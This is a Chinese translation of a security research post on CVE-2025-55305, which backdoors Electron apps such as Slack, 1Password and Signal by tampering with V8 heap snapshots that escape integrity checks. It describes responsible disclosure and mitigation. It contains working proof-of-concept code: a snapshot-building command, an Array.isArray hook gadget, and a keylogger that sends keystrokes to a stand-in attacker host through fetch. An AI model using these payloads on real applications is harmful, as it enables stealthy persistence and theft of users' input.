颠覆代码完整性检查：在Signal、1Password、Slack等应用中植入本地后门

应用完整性并非新问题

代码完整性保障虽非新课题，但各软件生态系统的实现方式各异。Electron项目通过组合熔断机制（即功能开关）来对可执行脚本组件实施完整性检查。这些熔断机制默认关闭，需要开发者显式启用。

图1：Slack中启用的EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar

EnableEmbeddedAsarIntegrityValidation确保包含Electron应用代码的归档文件与开发者打包时完全一致，OnlyLoadAppFromAsar则保证归档文件是应用代码的唯一加载源。这两项熔断机制共同构成Electron的应用代码执行前防篡改方案。结合操作系统层面的可执行代码签名，本该确保应用运行的代码与开发者分发的完全一致。一旦该保障失效，将引发诸多问题，尤其使得攻击者能够：

• 向易受攻击的应用注入持久化、隐蔽的后门
• 分发经过篡改但仍能通过签名验证的应用

缺乏完整性检查的Electron应用滥用已普遍到拥有MITRE ATT&CK技术编号T1218.015的程度。基于此技术的流行C2框架Loki，通过植入后门的受信任应用（VS Code、Cursor、GitHub Desktop、Tidal等）规避CrowdStrike Falcon等终端检测响应软件及AppLocker等应用控制。因此，1Password、Signal、Slack等高安全需求组织都在其Electron应用中启用完整性检查，以防这些应用成为高级威胁参与者的持久化媒介。

从冷冻披萨到无签名代码执行

正如Google V8团队所言：“V8采用快捷方式加速流程：如同解冻冷冻披萨快速完成晚餐，我们通过将预准备的快照反序列化至堆中直接获取初始化上下文。”

基于Chromium的Electron应用继承了“V8堆快照”文件以加速各种浏览器组件加载。每个组件中的应用逻辑都在新实例化的V8 JavaScript引擎沙箱中执行。创建V8隔离实例成本高昂，因此Chromium系应用从堆快照加载预先创建的基准状态。

虽然堆快照在反序列化时不能直接执行，但其中的JavaScript内置函数仍可被覆写以实现代码执行。只需找到宿主应用高频率执行的小工具（gadget），无签名代码即可加载到任何V8隔离实例中。Electron对EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar的实现存在疏忽，未将堆快照视为“可执行”应用内容，因此未对其执行完整性检查。Chromium同样未对堆快照进行完整性检查。

当应用安装到用户可写位置时，篡改堆快照尤其危险。多数Chromium衍生应用默认安装到用户可写路径，具有文件系统写权限的攻击者可静默向后门写入快照或自带易受攻击应用。快照不会表现为可执行文件，不会被操作系统代码签名检查拒绝，也不会被Chromium或Electron完整性检查，这使其成为隐蔽持久化的理想选择。

小工具挖掘

虽然创建自定义V8堆快照通常需要复杂编译Chromium，但Electron提供了预构建组件便于操作。因此可轻松创建覆写全局作用域成员的载荷，并使用特制快照运行目标应用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// 将生成文件覆盖应用的`v8_context_snapshot.bin`

const orig = Array.isArray;

// 使用V8内置函数`Array.isArray`作为小工具
Array.isArray = function() {
    // 当Array.isArray被调用时执行攻击代码
    throw new Error("testing isArray gadget");
};

图2：简单小工具示例

通过覆写Array.isArray实现无条件抛出错误的小工具会导致预期崩溃，证明完整性检查的应用仍会包含来自V8隔离快照的无签名JavaScript。不同V8隔离实例中存在不同内置函数，使得小工具可取证识别所在隔离实例。例如Node.js的process.pid及各种方法仅存在于主进程V8隔离实例。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

const orig = Array.isArray;

// 使用自定义实现覆写V8内置函数`Array.isArray`
Array.isArray = function() {
    // 等待在主进程中加载，使用process.pid作为哨兵
    try {
        if (!process || !process.pid) {
            return orig(...arguments);
        }
    } catch (_) {
         return orig(...arguments);
    }

    // 执行一次恶意载荷
    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        console.log('[payload] isArray hook started ...');

        // 展示提升的节点功能可用性
        console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
        process.exit(0);
    }
    return orig(...arguments);
};

图3：在Electron主进程中搜寻Node.js能力

开发概念验证

通过使用Electron应用所有隔离实例均有效的小工具，可在知名Electron应用中构建简单应用后门演示。为体现影响，选择Slack、1Password和Signal作为高知名度概念验证。需要注意的是，主进程中无约束能力甚至可实现更广泛的应用控制绕过。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

const orig = Array.isArray;
Array.isArray = function() {
    // 等待在浏览器上下文中加载
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

图4：在Slack中嵌入键盘记录器的基本示例

获得概念验证后，团队向Electron维护者报告此漏洞。Electron维护者迅速分配CVE-2025-55305。我们要感谢Electron团队专业高效的处理，以及Signal、1Password和Slack团队对问题披露的快速响应。

“我们通过Trail of Bits的责任披露获知Electron CVE-2025-55305，1Password已在v8.11.8-40版本修复该漏洞。保护客户数据始终是我们的最高优先级，我们鼓励所有客户更新至1Password最新版本以确保安全。” ——Jacob DePriest，1Password首席信息安全官

未来属于Chrome

多数Electron应用默认禁用完整性检查，而启用该功能的应用大多易受快照篡改攻击。但基于快照的后门不仅威胁Electron生态系统，更影响所有Chromium系应用。同事Emilio Lopez通过类似技术演示了在Chrome及其衍生浏览器中植入本地后门的可能性。由于这些浏览器常安装于用户可写位置，这带来另一种未被检测的持久化后门风险。

尽管Chrome团队为其他代码完整性风险提供了类似缓解措施，但其明确将本地攻击排除在威胁模型之外。我们仍认为这是实现浏览器持久化未被检测入侵的现实可行途径，尤其因为攻击者可分发包含恶意代码但仍通过代码签名的Chrome副本。作为缓解措施，Chromium衍生项目作者应考虑实施与Electron团队相同的完整性检查控制。

如需关注应用中类似漏洞或需要实施适当完整性控制协助，请联系我们团队。